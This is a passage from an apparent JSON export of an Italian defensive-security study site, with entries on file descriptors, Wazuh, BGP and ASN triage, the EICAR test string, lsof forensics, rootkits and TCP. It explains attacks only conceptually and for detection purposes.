1 (stdout) \u0026amp; disambigua: \u0026quot;questo e' un file descriptor, non un nome file\u0026quot;.\nPerche' alcuni tool scrivono su stderr # Non esiste uno standard universale — dipende dal programma. Non lo sai finche' non provi. Se un grep su output di un tool non trova nulla ma sai che dovrebbe trovare qualcosa, il problema e' quasi sempre stderr.\nPattern diagnostico:\n# prova prima cosi\u0026#39; tool | grep \u0026#34;pattern\u0026#34; # se non trova nulla, prova cosi\u0026#39; tool 2\u0026gt;\u0026amp;1 | grep \u0026#34;pattern\u0026#34; Esempio concreto: tshark -z help scrive su stderr. Per filtrare le statistiche HTTP disponibili:\ntshark -z help 2\u0026gt;\u0026amp;1 | grep -i \u0026#34;http\u0026#34; Scenario Reale # Un analista cerca una statistica specifica in tshark. tshark -z help | grep -i dns non trova nulla perche' l'help va su stderr — grep vede solo stdout vuoto. Aggiungendo 2\u0026gt;\u0026amp;1 il flusso si unisce e grep trova i risultati.\nPattern generale: ogni volta che un tool sembra non produrre output dove te lo aspetti, verifica su quale fd sta scrivendo.\nCollegato a # system — categoria tshark — caso pratico: -z help scrive su stderr grep — il tool che riceve l'output rediretto ","date":"23 aprile 2026","externalUrl":null,"permalink":"/concetti/file-descriptor/","section":"Concetti","summary":"I tre canali standard aperti in ogni processo Unix: stdin (0), stdout (1), stderr (2). Fondamentali per capire pipe, redirezione e comportamento dei tool da terminale.","title":"file-descriptor","type":"concetti"},{"content":" Cosa fa # Wazuh è una piattaforma di sicurezza open-source che combina funzionalità di SIEM (analisi log centralizzata) e XDR (protezione endpoint avanzata). La sua architettura è distribuita per garantire scalabilità e resilienza.\nTL;DR (Flusso Dati) # graph LR A[Wazuh Agent] --\u003e|Porta 1514/1515| B[Wazuh Server] B --\u003e|Log Analizzati| C[Wazuh Indexer] C --\u003e|Dati Indicizzati| D[Wazuh Dashboard] I 4 Componenti Core # 1. Wazuh Agent # Installato sugli host (Linux, Windows, macOS, Cloud). È modulare e leggero.\nCompiti: Raccoglie log, monitora l'integrità dei file (FIM), rileva rootkit, esegue scansioni di vulnerabilità e risposte attive (Active Response). Comunicazione: Invia i dati al Manager attraverso un canale cifrato e autenticato. 2. Wazuh Server (Manager) # Il \u0026quot;cervello\u0026quot; del sistema.\nCompiti: Riceve i dati dagli agent, applica il Ruleset (regole di decodifica e analisi) per identificare minacce e genera alert. Gestisce anche la configurazione remota degli agent. Integrazione: Può ricevere dati \u0026quot;agentless\u0026quot; da firewall o switch tramite syslog. 3. Wazuh Indexer # Un motore di ricerca e analisi full-text (basato su OpenSearch).\nCompiti: Memorizza gli alert e i log analizzati dal server come documenti JSON. Permette ricerche istantanee su enormi volumi di dati storici. Struttura: Simile a un database NoSQL (come MongoDB), organizza i dati in indici temporali. 4. Wazuh Dashboard # L'interfaccia web per l'analista SOC.\nCompiti: Visualizzazione degli alert, dashboard per conformità (PCI-DSS, NIST, GDPR), investigazione degli eventi e gestione della piattaforma. Porte e Protocolli Chiave # Porta Protocollo Uso 1514 UDP/TCP Canale dati (Agent -\u0026gt; Manager) 1515 TCP Registrazione nuovi Agent 55000 HTTPS Wazuh API (Manager management) 9200 HTTPS Comunicazione con l'Indexer Scenario Reale (Blue Team) # Un utente malintenzionato modifica il file di configurazione del webserver.\nAgent: Il modulo FIM rileva la modifica e invia un evento al Manager. Manager: Una regola scatta perché la modifica è su un file critico. Genera un alert di livello 7. Indexer: Salva l'alert nel database JSON. Dashboard: L'analista vede apparire un alert rosso nella sezione \u0026quot;Integrity Monitoring\u0026quot;. Collegato a # observability — Hub Categoria soc-tiers — Strumento per Tier 1/2 investigazione-linux — Log analizzati da Wazuh wazuh-auditd-custom-rule — integrazione auditd e regole custom ","date":"22 aprile 2026","externalUrl":null,"permalink":"/concetti/wazuh-architecture/","section":"Concetti","summary":"Analisi dei componenti core di Wazuh: Agent, Manager, Indexer e Dashboard. Funzionamento del flusso di telemetria.","title":"Architettura di Wazuh SIEM/XDR","type":"concetti"},{"content":" 1. Cosa fa # Il BGP (Border Gateway Protocol) è il protocollo di routing che permette la comunicazione tra diverse reti indipendenti su Internet, chiamate Autonomous Systems (AS). Senza BGP, Internet non sarebbe una rete globale ma un insieme di isole isolate.\n2. L'analogia delle Città-Stato (Modello Mentale) # Immagina Internet non come una singola rete, ma come un insieme di Città-Stato indipendenti (es. Google-City, TIM-Land, AWS-Village).\nAS (Autonomous System): Ogni \u0026quot;Città-Stato\u0026quot; è un AS. Una rete gigante gestita da un'unica entità (ISP, Università, Big Tech) che applica una propria politica di routing interna. ASN (AS Number): È il nome/ID ufficiale della città. Ogni AS ha un identificativo unico mondiale (es: Google = AS15169). IGP (OSPF/RIP): Il Postino Locale. Gestisce le strade dentro la città per consegnare le lettere tra i palazzi (es. tra il router di casa tua e il primo nodo del tuo provider). BGP (Le Autostrade): Il Navigatore Satellitare che gestisce i camion che viaggiano tra le diverse città-stato. 3. La Gerarchia delle Reti (Rete di Reti) # Internet è letteralmente una gerarchia di gruppi di reti che si parlano tra loro.\ngraph TD subgraph Internet_Globale [Internet: L'oceano dei ponti BGP] AS_Google[AS 15169: Google] AS_TIM[AS 12874: TIM Italia] AS_AWS[AS 16509: Amazon] end subgraph AS_TIM_Internal [Dentro la Rete TIM - Autonomous System] R_Border[Border Router: Parla eBGP col mondo] R_Core[Backbone Router: Parla OSPF e iBGP interno] R_Pop[Router Regionale: Milano/Roma] end subgraph Casa_Tua [La tua LAN - Rete Locale] Gateway[Router di Casa] Ubuntu[VM Ubuntu] Kali[VM Kali] end Ubuntu --\u003e Gateway Kali --\u003e Gateway Gateway --\u003e|Ultimo Miglio| R_Pop R_Pop --\u003e R_Core R_Core --\u003e R_Border R_Border \u003c--\u003e|eBGP| AS_Google R_Border \u003c--\u003e|eBGP| AS_AWS style R_Border fill:#f96,stroke:#333 style Internet_Globale fill:#fff3e0,stroke:#e65100 4. I Tre Protocolli: Quando si usano? # Protocollo Ambito Analogia Scopo Operativo IGP (OSPF, RIP) Interno (LAN/Azienda) Il postino di quartiere. Muovere i pacchetti verso gli IP specifici dei PC interni. eBGP (External) Esterno (Tra AS diversi) Il ponte tra due isole. Scambiare rotte tra aziende (es. TIM annuncia a Google i suoi IP). iBGP (Internal) Interno (Tra Border Router) Il passaparola in città. Sincronizzare i router dello stesso ISP sulle rotte esterne. 5. Analisi e Consolidamento (User Recap) # Recap di Barno: # \u0026quot;Se devo parlare all'interno della mia rete uso i MAC Address. Se devo uscire dalla mia LAN uso BGP, se resto dentro la LAN del mio ISP uso iBGP, se devo uscire dalla LAN del mio ISP nonché AS, uso eBGP. In questo caso uso TCP/IP dove l'IP è il target e il TCP è il layer di trasporto con raccomandata grazie ai SYN ACK SYN ACK ACK. Sia dentro la mia AS che fuori da AS faccio comunque gli hop.\u0026quot;\nCorrezioni Tecniche (PM Notes): # Chi usa cosa: Il tuo PC non \u0026quot;usa\u0026quot; il BGP. Il PC manda tutto al Gateway. Sono i router dei grandi provider (ISP) a usare il BGP per decidere la strada. Dentro l'ISP: Per muovere i dati fisicamente tra due città (es. Milano -\u0026gt; Roma) nello stesso ISP, si usano i protocolli IGP (OSPF). L'iBGP serve solo come \u0026quot;memo\u0026quot; interno tra i router di confine per non perdersi le strade che portano all'estero. Il Pacchetto: Il pacchetto viaggia sempre come TCP/IP. BGP è solo la mappa che i router consultano per sapere dove lanciarlo. 6. Libretto di Istruzioni Finale # Destinazione Protocollo Usato Cosa succede Stessa Subnet (Casa) MAC Address + ARP Consegna fisica diretta tra schede di rete. Stesso ISP (Città diverse) IGP (OSPF / RIP) Il provider muove il pacchetto sulle sue strade interne. Internet (Tra AS diversi) eBGP Il pacchetto attraversa le \u0026quot;Grandi Autostrade\u0026quot; tra aziende. Sincronizzazione AS iBGP I router dello stesso ISP si scambiano le mappe per le rotte esterne. 7. Perché è fondamentale per un SOC Analyst? # A. BGP Hijacking (L'attacco alla strada) # Poiché il BGP si basa sulla fiducia negli \u0026quot;annunci\u0026quot; dei vicini, un AS può mentire dicendo: \u0026quot;Io sono la strada più veloce per raggiungere l'IP 8.8.8.8\u0026quot;.\nConseguenza: Il traffico viene dirottato verso l'attaccante, permettendo intercettazioni massive (Sniffing/MITM). Esempio Reale (2018): Un AS ha dirottato il traffico di Amazon Route 53 per intercettare le richieste verso il portafoglio crypto MyEtherWallet e rubare i fondi degli utenti. B. ASN Analysis (Triage avanzato) # Quando vedi un IP sospetto nei log, un analista senior cerca il suo ASN:\nAS Residenziale (es. Fastweb): Utente reale compromesso o vittima. AS di Hosting (es. DigitalOcean): Molto sospetto. Spesso usato per bot, scanner o server C2. 8. AS Noti e Identificazione # AS15169: Google (DNS 8.8.8.8, YouTube). AS16509: Amazon (AWS). AS13335: Cloudflare (CDN e protezione DDoS). Strumenti di Analisi: # Terminale: whois [IP] | grep -i \u0026quot;origin\\|asn\u0026quot; Web: BGPView.io 9. 🛫 L'analogia definitiva: Il Viaggio Aereo # Pensa a quando vuoi andare da casa tua a New York:\ngraph TD subgraph Mondo_Fisico [Mondo Fisico] A1[Casa] --\u003e|Taxi| B1[Aeroporto Malpensa] B1 --\u003e|Volo Internazionale| C1[Aeroporto New York] C1 --\u003e|Bus/Metro| D1[Hotel a Manhattan] end subgraph Mondo_Logico [Protocolli di Rete] A2[LAN / PC] --\u003e|IGP: OSPF| B2[Border Router ISP] B2 --\u003e|eBGP| C2[Border Router Destinazione] C2 --\u003e|IGP: OSPF| D2[Server Finale] end A1 -.-\u003e|Mappatura| A2 B1 -.-\u003e|Mappatura| B2 C1 -.-\u003e|Mappatura| C2 D1 -.-\u003e|Mappatura| D2 style B1 fill:#f96,stroke:#333 style B2 fill:#f96,stroke:#333 style C1 fill:#f9f,stroke:#333 style C2 fill:#f9f,stroke:#333 Destinazione finale: New York (eBGP - fuori dallo Stato). Ma come ci arrivi? Esci di casa e prendi un taxi per l'aeroporto di Malpensa. (Questo è il Manuale Interno / OSPF: strade locali, rotatorie, semafori). Il taxi non sa come si vola a New York, sa solo come portarti al Gate (il Border Router). Al Gate, consegni il biglietto e l'aereo ti porta in un altro Stato. (Questo è l'eBGP: il corridoio aereo internazionale). Quindi: Anche se la tua destinazione è quasi sempre \u0026quot;New York\u0026quot;, devi comunque saper usare le strade locali per arrivare all'aeroporto. Se il taxi sbaglia strada dentro Milano, non arriverai mai al Gate per New York.\n10. Quando NON si usa eBGP: Scenari Locali # Esistono casi reali in cui il pacchetto non esce mai dalla \u0026quot;Città-Stato\u0026quot; e quindi l'impiegato dell'ISP non apre mai il Manuale Esterno.\ngraph LR subgraph AS_TIM [AS 12874 - TIM Italia] User_You[Tu - Cliente TIM] --\u003e|OSPF| R_Local[Router Zona] R_Local --\u003e|OSPF| R_Core[Backbone Nazionale] subgraph Servizi_Interni [Servizi Locali - No eBGP] R_Core --\u003e Serv_DNS[DNS / Area Clienti] R_Core --\u003e CDN[CDN Cache: Netflix/Google] R_Core --\u003e User_Friend[Amico - Cliente TIM] end end R_Core -.-\u003e|Bypass| Border[Border Router] Border \u003c==\u003e|eBGP| Internet((Internet Esterno)) style Servizi_Interni fill:#fff9c4,stroke:#fbc02d style Border fill:#ccc,stroke:#999 style Internet fill:#eceff1,stroke:#607d8b Comunicazione tra due clienti dello stesso ISP: ... Se tu (TIM) mandi un file a un amico (TIM) a 300km di distanza. TIM possiede entrambi gli IP; il pacchetto viaggia sul backbone nazionale TIM usando solo IGP (OSPF). Resta dentro l'AS 12874. Accesso ai servizi \u0026quot;Core\u0026quot; dell'operatore: Ogni volta che interroghi i DNS dell'operatore, guardi la IPTV tramite il box dedicato o navighi nell'area clienti sul sito del provider. Quei server sono fisicamente dentro i datacenter dell'ISP. Il \u0026quot;Trucco\u0026quot; dei Big: I CDN Cache (Google/Netflix): I giganti installano server (es. Google Global Cache) dentro i magazzini degli ISP per risparmiare banda. Se guardi un video YouTube popolarissimo, TIM ti dirotta sul server Google che si trova fisicamente nella sua rete a Milano. Risultato: per te è YouTube, ma tecnicamente il pacchetto non è mai uscito dall'AS di TIM. Collegato a # network — Hub Categoria ip-addressing-subnetting — Layer 3 (IP) investigazione-linux — Uso di whois tcp-reliability-osi — Layer 4 (Consegna garantita) ","date":"22 aprile 2026","externalUrl":null,"permalink":"/concetti/bgp-asn-fundamentals/","section":"Concetti","summary":"Guida completa al routing globale: gerarchia delle reti, analogia delle Città-Stato, differenze tra IGP/eBGP/iBGP e analisi del BGP Hijacking.","title":"BGP e Autonomous Systems (AS) - Il GPS di Internet","type":"concetti"},{"content":" Cosa fa # Il file EICAR non è un virus, ma una stringa di testo concordata a livello mondiale che deve essere rilevata come malevola da ogni software di sicurezza. Serve a verificare che la catena di rilevamento (Antivirus -\u0026gt; EDR -\u0026gt; SIEM) sia attiva e configurata correttamente.\nLa Stringa Standard # X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* Utilizzo nel SOC Lab # Validazione Agent: Scaricare il file su un host monitorato da wazuh per verificare la generazione dell'alert. Network Inspection: Inviare il file via HTTP (non HTTPS) per testare se l'IDS (Suricata) o il Firewall bloccano il download. Archivi Compressi: Testare il rilevamento dentro file .zip, .tar.gz o archivi annidati (es. zip dentro zip). Regole di Sicurezza # Nonostante sia innocuo, molti browser e firewall bloccheranno il download del sito eicar.org. Per i test in lab, è spesso necessario creare il file a mano: echo 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \u0026gt; test_eicar.com Scenario Reale (Blue Team) # Hai appena finito di installare Wazuh su 100 server. Come fai a sapere se le regole di malware detection funzionano davvero su tutti? Esegui uno script che crea il file EICAR in /tmp/ su ogni macchina e verifichi che sulla dashboard SIEM appaiano 100 alert di \u0026quot;Virus detected\u0026quot;. Se ne appaiono 98, hai 2 server con configurazioni errate.\nCollegato a # wazuh — Per testare i moduli di detection observability — Validazione del monitoraggio ","date":"22 aprile 2026","externalUrl":null,"permalink":"/concetti/eicar-test-file/","section":"Concetti","summary":"Una stringa standard di 68 caratteri utilizzata per testare il corretto funzionamento di antivirus, EDR e SIEM senza usare codice malevolo reale.","title":"EICAR Test File - Lo standard per il test malware","type":"concetti"},{"content":" Cosa fa # Definisce il significato degli indirizzi IP speciali e dei simboli usati dai tool di rete (ss, netstat, lsof) per indicare la raggiungibilità di un servizio sul sistema.\nTL;DR # Esempio Significato Raggiungibilità 127.0.0.1:22 SSH su Localhost SOLO interna (Sicuro) 0.0.0.0:22 SSH su IPv4 Any Tutta Internet/LAN (Esposto) [::]:22 SSH su IPv6 Any Tutta Internet/LAN (Esposto) Dettaglio Indirizzi # 1. 0.0.0.0:22 (IPv4 Any) # Significato: Il servizio SSH è in ascolto su tutte le interfacce IPv4 della macchina. Implicazione SOC: Se il server ha un IP pubblico, chiunque può provare a bussare alla porta 22. È l'impostazione standard, ma richiede monitoraggio costante (brute force). 2. [::]:22 (IPv6 Any) # Significato: Identico a 0.0.0.0:22, ma per lo stack IPv6. Nota Dual-Stack: In molti sistemi Linux moderni, se vedi solo [::]:22, il servizio sta accettando connessioni sia IPv4 che IPv6 contemporaneamente. 3. 127.0.0.1:3306 / 127.0.0.53:53 (Loopback) # Significato: Il servizio (es. MySQL o DNS locale) ascolta solo sull'interfaccia interna. Implicazione SOC: È una configurazione di sicurezza corretta per servizi che non devono parlare con l'esterno. Se vedi un database su 0.0.0.0, è un rischio grave. 4. 0.0.0.0:* o [::]:* (Wildcard) # Significato: L'asterisco * indica che il socket è pronto a ricevere traffico da qualunque porta sorgente. È normale per i servizi in ascolto (server). Scenario Reale # Se durante un'investigazione vedi: ESTAB 0 0 192.168.1.10:22 203.0.113.5:54321 Significa che un IP esterno (203...) è connesso al tuo SSH (:22) perché eri in ascolto su 0.0.0.0:22.\nCollegato a # log — Hub Categoria investigazione-linux — Per interpretare l'output dei comandi ip-addressing-subnetting — Concetti base IP ","date":"22 aprile 2026","externalUrl":null,"permalink":"/concetti/ip-listening-addresses/","section":"Concetti","summary":"Interpretazione degli indirizzi IP (0.0.0.0, 127.0.0.1, ::) e delle porte in ascolto durante l'investigazione SOC.","title":"Indirizzi IP e Listening Ports - Guida SOC","type":"concetti"},{"content":" TL;DR Internet non è una singola rete: è un insieme di reti indipendenti (Autonomous Systems) collegate da BGP BGP decide il percorso tra AS diversi - IGP gestisce il routing interno, iBGP sincronizza i border router Un attaccante può annunciare rotte false (BGP Hijacking) e dirottare traffico globale Ogni IP appartiene a un ASN: saperlo leggere è un'abilità base di triage SOC ▶ $ history whois [IP] whois [IP] | grep -i \u0026quot;origin|asn|orgname\u0026quot; Internet non è una rete. È una rete di reti.\nQuesta distinzione non è filosofica - è tecnica, e capirla cambia il modo in cui leggi un log, classifichi un IP e valuti la severità di un alert.\nIl problema che BGP risolve # Prima di BGP, ogni grande rete era un'isola. Google gestiva i propri server. TIM gestiva la propria infrastruttura. Amazon aveva i suoi datacenter. Tutte reti enormi, ma separate.\nIl problema: come fai a fare in modo che il pacchetto che parte dal tuo portatile a Milano arrivi a un server Google a Dallas, passando attraverso reti di operatori diversi, in paesi diversi, gestiti da aziende che non si conoscono e non si fidano ciecamente l'una dell'altra?\nBGP - Border Gateway Protocol - è la risposta. Non muove i pacchetti. Costruisce la mappa che tutti i router usano per decidere dove mandarli.\nAutonomous Systems: le città-stato di Internet # Ogni grande rete indipendente è un Autonomous System (AS): un insieme di IP gestiti da un'unica entità che applica una propria politica di routing.\nUn AS può essere un ISP (TIM, Fastweb), una multinazionale (Google, Amazon), un'università, una grande azienda. Ogni AS ha un identificativo unico mondiale: l'ASN (Autonomous System Number).\nAS15169 - Google AS16509 - Amazon AWS AS13335 - Cloudflare AS12874 - TIM Italia Quando un pacchetto deve attraversare più AS per arrivare a destinazione, BGP costruisce il percorso - non qualsiasi percorso, ma quello che rispetta le politiche commerciali e tecniche di ogni AS lungo la strada.\nI tre protocolli: IGP, eBGP, iBGP # Tre protocolli gestiscono il routing a livelli diversi:\nProtocollo Ambito Analogia Scopo IGP (OSPF, RIP) Interno all'AS Il postino di quartiere Muove i pacchetti tra router dello stesso provider eBGP Tra AS diversi L'autostrada internazionale Scambia rotte tra aziende diverse iBGP Dentro lo stesso AS Il passaparola interno Sincronizza i border router sulle rotte esterne Il tuo pacchetto li attraversa tutti e tre in sequenza:\ngraph LR PC[Il tuo PC] --\u003e|IGP locale| ISP[Router ISP] ISP --\u003e|iBGP| Border[Border Router] Border --\u003e|eBGP| Google[AS Google] Il tuo PC non parla BGP. Manda tutto al gateway. Sono i border router degli ISP a scambiarsi annunci BGP, costruendo e aggiornando continuamente la mappa globale delle reti raggiungibili.\nCome BGP costruisce la mappa # Ogni AS annuncia ai propri vicini i prefissi IP che gestisce. L'annuncio si propaga di AS in AS:\nsequenceDiagram participant TIM as AS12874 TIM participant Transit as AS Transit participant Google as AS15169 Google TIM-\u003e\u003eTransit: 88.0.0.0/8 raggiungibile da me Transit-\u003e\u003eGoogle: 88.0.0.0/8 via TIM Google-\u003e\u003eTransit: 8.8.0.0/14 raggiungibile da me Transit-\u003e\u003eTIM: 8.8.0.0/14 via Transit Ogni router costruisce la propria routing table: quando arriva un pacchetto per 8.8.8.8, consulta la tabella e lo instrada verso il prossimo hop. Non conosce l'intero percorso - conosce solo il passo successivo.\nBGP Hijacking: quando qualcuno mente sulla mappa # BGP si basa sulla fiducia. Un AS che annuncia \u0026quot;io sono la strada per raggiungere 8.8.8.8\u0026quot; viene creduto - non esiste un meccanismo di verifica nativo nel protocollo.\nUn attaccante che controlla un AS può annunciare una rotta falsa. Se l'annuncio è più specifico o più conveniente di quello legittimo, i router vicini iniziano a instradare il traffico verso di lui - senza che gli utenti finali se ne accorgano.\nEsempio reale - 2018, MyEtherWallet:\nUn AS ha annunciato rotte false per i server di Amazon Route 53. Il traffico DNS verso MyEtherWallet - un portafoglio crypto - finiva su server controllati dall'attaccante. Gli utenti risolvevano il dominio corretto, ricevevano un IP falso, e consegnavano le credenziali. Durata: circa due ore. Fondi sottratti: stimati in centinaia di migliaia di dollari.\nMITRE ATT\u0026amp;CK: T1557 - Adversary-in-the-Middle.\nNote RPKI (Resource Public Key Infrastructure) è il meccanismo moderno per firmare gli annunci BGP e bloccare gli hijack. L'adozione è ancora parziale - molti AS storici non lo supportano.\nASN come strumento di triage SOC # Ogni IP pubblico appartiene a un AS. Quando vedi un IP sospetto nei log, la prima domanda è: a chi appartiene?\nwhois 45.33.32.156 | grep -i \u0026#34;origin\\|asn\\|orgname\u0026#34; OrgName: Linode, LLC ASN: AS63949 # output simulato L'AS di appartenenza cambia immediatamente la valutazione:\nTipo AS Valutazione Ragionamento AS residenziale (Fastweb, TIM) Attenzione moderata Utente reale, potenzialmente compromesso AS hosting (DigitalOcean, Linode, Vultr) Alto sospetto Infrastruttura tipica per C2, scanner, bot AS CDN (Cloudflare, Akamai) Rumore normale Edge node legittimo AS aziendale sconosciuto Verifica necessaria Controllare geolocalizzazione e reputazione Un IP su Linode che ti manda richieste SSH alle 03:00 non è un utente che ha dimenticato la password. È un pattern.\nPer approfondire gli AS online: BGPView.io permette di cercare ASN, prefissi annunciati e peer di qualsiasi AS nel mondo.\nPer capire come i blocchi IP si suddividono in sottoreti, vedi IP Addressing e Subnetting. BGP usa TCP porta 179 per stabilire le sessioni tra peer - il modello di affidabilità è in TCP e modello OSI.\nexit 0 # BGP non è un protocollo che vedrai mai direttamente nei log di un server. Ma è lo strato sotto tutto il resto - la ragione per cui i pacchetti trovano la strada, e la ragione per cui, quando qualcuno mente sulla mappa, il traffico di milioni di utenti può finire nelle mani sbagliate senza che nessuno se ne accorga subito.\nImparare a leggere un ASN richiede cinque minuti. Non saperlo leggere può significare ore di analisi su un incidente che si sarebbe classificato in trenta secondi.\nComandi usati: whois Concetti correlati: ip-addressing-subnetting, tcp-reliability-osi\n","date":"22 aprile 2026","externalUrl":null,"permalink":"/blog/le-autostrade-di-internet/","section":"Blog","summary":" TL;DR Internet non è una singola rete: è un insieme di reti indipendenti (Autonomous Systems) collegate da BGP BGP decide il percorso tra AS diversi - IGP gestisce il routing interno, iBGP sincronizza i border router Un attaccante può annunciare rotte false (BGP Hijacking) e dirottare traffico globale Ogni IP appartiene a un ASN: saperlo leggere è un'abilità base di triage SOC ▶ $ history whois [IP] whois [IP] | grep -i \"origin|asn|orgname\" ","title":"Le Autostrade di Internet","type":"blog"},{"content":" Cosa fa # Elenca tutti i file aperti dal sistema. Poiché in Unix \u0026quot;tutto è un file\u0026quot;, questo include documenti, socket di rete, pipe, librerie e device hardware. In incident response è uno dei primi comandi da eseguire — mostra cosa sta facendo un processo in questo momento.\nparti dal processo. \u0026quot;Questo processo cosa ha aperto?\u0026quot; Ottimo quando hai già un pid o un nome processo sospetto.\nSintassi # lsof [opzioni] [filtro]\nComandi essenziali # Comando Flag Significato flag Cosa fa sudo lsof -i -i internet Mostra tutti i socket di rete aperti. sudo lsof -i -P -P no Port names Mostra porte numeriche invece degli alias (es. 22 invece di ssh). sudo lsof +L1 +L1 link count \u0026lt; 1 Analisi Forense: Mostra file aperti che sono stati eliminati dal disco. sudo lsof -i :22 -i :N internet port N Chi sta usando la porta 22? sudo lsof -p 1234 -p pid Tutti i file aperti dal processo con PID 1234. sudo lsof -u root | grep /tmp — — File aperti da root in /tmp — segnale sospetto. lsof -t -i :3000 -t terse Restituisce solo il PID — utile in pipe con kill. Analisi Forense: Il flag +L1 # Perché è fondamentale # Gli attaccanti spesso scaricano un malware, lo avviano e poi usano rm per eliminare l'eseguibile dal disco. Il processo rimane attivo in memoria, ma non c'è più traccia del file nel filesystem.\nLa logica del Link Count # L sta per Link Count (il numero di riferimenti a un file). Quando un file viene rimosso ma un processo lo tiene ancora aperto, il suo link count scende a 0. +L1 istruisce lsof a mostrare tutti i file con link count inferiore a 1. sudo lsof +L1 # Se l\u0026#39;output mostra un processo in esecuzione da /tmp o /var/run che punta a un file (deleted), è un forte indicatore di compromissione. Leggere l'output (Rete) # sudo lsof -i -P | grep LISTEN # COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME # sshd 1234 root 3u IPv4 12345 0t0 TCP *:22 (LISTEN) # ^ ^ ^ ^ ^ ^ ^ # | | | | | | stato # | | | | tipo (IPv4/IPv6/unix) indirizzo:porta # | | | File Descriptor (u=read/write) # | | utente proprietario # | PID # nome comando Combinazioni utili # # Incident response — panoramica rapida sudo lsof -i -P | grep LISTEN # porte aperte sudo lsof -i TCP | grep ESTABLISHED # connessioni attive # Processo sospetto — tutto quello che ha aperto sudo lsof -p 4821 # Trova chi occupa una porta e terminalo kill $(lsof -t -i :8080) Scenario Reale # Un alert segnala traffico anomalo. Usi ss -tulpn e trovi un PID strano. Esegui sudo lsof +L1 e noti che quel PID sta eseguendo un file chiamato ... (tre punti) in /tmp che risulta (deleted). Hai appena trovato un malware che cercava di nascondersi.\nCollegato a # system — Hub Categoria investigazione-linux — Playbook di analisi kill — Per terminare processi individuati ","date":"22 aprile 2026","externalUrl":null,"permalink":"/comandi/lsof/","section":"Comandi","summary":"Elenca tutti i file aperti dal sistema. Fondamentale in incident response per trovare processi sospetti, connessioni anomale e file nascosti (deleted).","title":"lsof - list open files","type":"comandi"},{"content":" Cosa fa # Un rootkit è un malware che fornisce accesso privilegiato (root) persistente a un sistema, nascondendo attivamente la propria presenza e alterando i risultati dei comandi standard di amministrazione.\nTL;DR # Un rootkit non è un singolo virus, ma un \u0026quot;velo\u0026quot; che si stende sopra il sistema operativo. Se chiedi al sistema \u0026quot;quali processi ci sono?\u0026quot;, il rootkit intercetta la domanda e cancella se stesso dalla lista prima che tu veda il risultato.\nCome agisce: Kernel vs User Mode # User Mode (Anello 3) # Il rootkit modifica gli eseguibili dei comandi (es. /bin/ls o /bin/ps). Se l'amministratore sostituisce i binari con versioni pulite o usa tool integri, il rootkit viene scoperto.\nKernel Mode (Anello 0) # Il rootkit infetta il cuore del sistema operativo (LKM - Loadable Kernel Modules).\nModifica le System Calls (le chiamate che le app fanno al kernel). È estremamente difficile da rilevare perché \u0026quot;mente\u0026quot; a tutto ciò che gira sopra di lui. Come rilevarlo # Poiché i comandi standard (ps, ls) sono inaffidabili, si usano due tecniche:\nAnalisi Baseline: Confrontare i file di sistema con un database di hash integri. Scansione Cross-View: Confrontare ciò che dice il sistema operativo con ciò che dice l'hardware (tecnica usata da tool come chkrootkit o il modulo Rootcheck di wazuh). Analisi Offline: Spegnere la macchina e analizzare il disco da un sistema pulito (Forensics). Scenario Reale (Blue Team) # Un server mostra un utilizzo della CPU del 50% inspiegabile. top non mostra processi pesanti.\nL'analista sospetta un rootkit che nasconde un miner. Esegue una scansione con Wazuh (Rootcheck). Wazuh rileva una discrepanza tra il numero di processi nel kernel e quelli visibili in User space. Viene confermata la presenza di un rootkit a livello kernel. Collegato a # system — Hub Categoria wazuh — Per la detection investigazione-linux — Comandi che possono essere ingannati ","date":"22 aprile 2026","externalUrl":null,"permalink":"/concetti/rootkit/","section":"Concetti","summary":"Set di strumenti malevoli progettati per nascondere processi, file e connessioni di rete, spesso operando a livello di Kernel.","title":"Rootkit - Il malware invisibile","type":"concetti"},{"content":" Cosa fa # Il protocollo TCP garantisce che i dati arrivino integri e nell'ordine corretto tramite un meccanismo di \u0026quot;ricevuta di ritorno\u0026quot; (ACK). Se il mittente non riceve l'ACK, rispedisce i dati.\n🤝 Il Triple Handshake (L'accordo) # Prima di mandare i dati (es. una pagina web), client e server devono stringersi la mano:\nSYN: \u0026quot;Ehi, vorrei parlare con te sulla porta 80.\u0026quot; SYN-ACK: \u0026quot;Ricevuto! Io sono pronto, e tu?\u0026quot; ACK: \u0026quot;Prontissimo. Iniziamo.\u0026quot; 📦 Trasferimento Dati: Il meccanismo ACK # Dopo la stretta di mano, ogni invio di dati segue questa logica:\nPUSH (Dati): Il client invia un pezzo di dati (segmento). ACK (Ricevuta): Il server DEVE rispondere con un pacchetto ACK per dire \u0026quot;Ho ricevuto il pezzo X\u0026quot;. RETRANSMISSION: Se il client non riceve l'ACK entro pochi millisecondi, assume che il pacchetto sia andato perso (pozzanghera) e lo invia di nuovo. Important È questo che rende il TCP \u0026quot;affidabile\u0026quot; rispetto all'UDP (che spara dati a raffica senza aspettare conferme).\n🗼 Gli Strati OSI nel SOC (I 3 che contano) # Per un analista SOC, il modello OSI a 7 strati è troppo teorico. Ecco la versione operativa:\nLayer Nome Strumento Analogia Cosa vedi nei log/dfir L4 Transport TCP La Ricevuta Porte (22, 443) e Flags (SYN, ACK). Garantisce la consegna. L3 Network IP L'Indirizzo IP Sorgente e IP Destinazione. Gestisce il percorso (Routing). L2 Data Link Ethernet La Busta MAC Address. Gestisce il salto fisico tra due router vicini. Perché la \u0026quot;Busta\u0026quot; cambia e la \u0026quot;Lettera\u0026quot; no? # L2 (MAC): Cambia a ogni hop perché serve a spostare il pacchetto dal router A al router B. L3 (IP): Non cambia mai perché è la destinazione finale (es. Google). L4 (TCP): È il \u0026quot;controllore\u0026quot; che viaggia dentro la lettera e urla \u0026quot;Sei arrivata? Fammi un ACK!\u0026quot;. Scenario Reale (Blue Team) # Stai usando tshark e vedi: 192.168.1.10 -\u0026gt; 8.8.8.8 [SYN] 8.8.8.8 -\u0026gt; 192.168.1.10 [RST, ACK]\nAnalisi:\nL'attaccante ha provato a connettersi (SYN). Il server ha risposto con RST (Reset). Conclusione: La porta è chiusa o un firewall ha bloccato la connessione. L'handshake è fallito. Collegato a # ip-addressing-subnetting — Layer 3 investigazione-linux — Per vedere le connessioni attive tshark — Per vedere i flag SYN/ACK nei pacchetti ","date":"22 aprile 2026","externalUrl":null,"permalink":"/concetti/tcp-reliability-osi/","section":"Concetti","summary":"Spiegazione del meccanismo di conferma (ACK) del TCP e mappatura semplificata degli 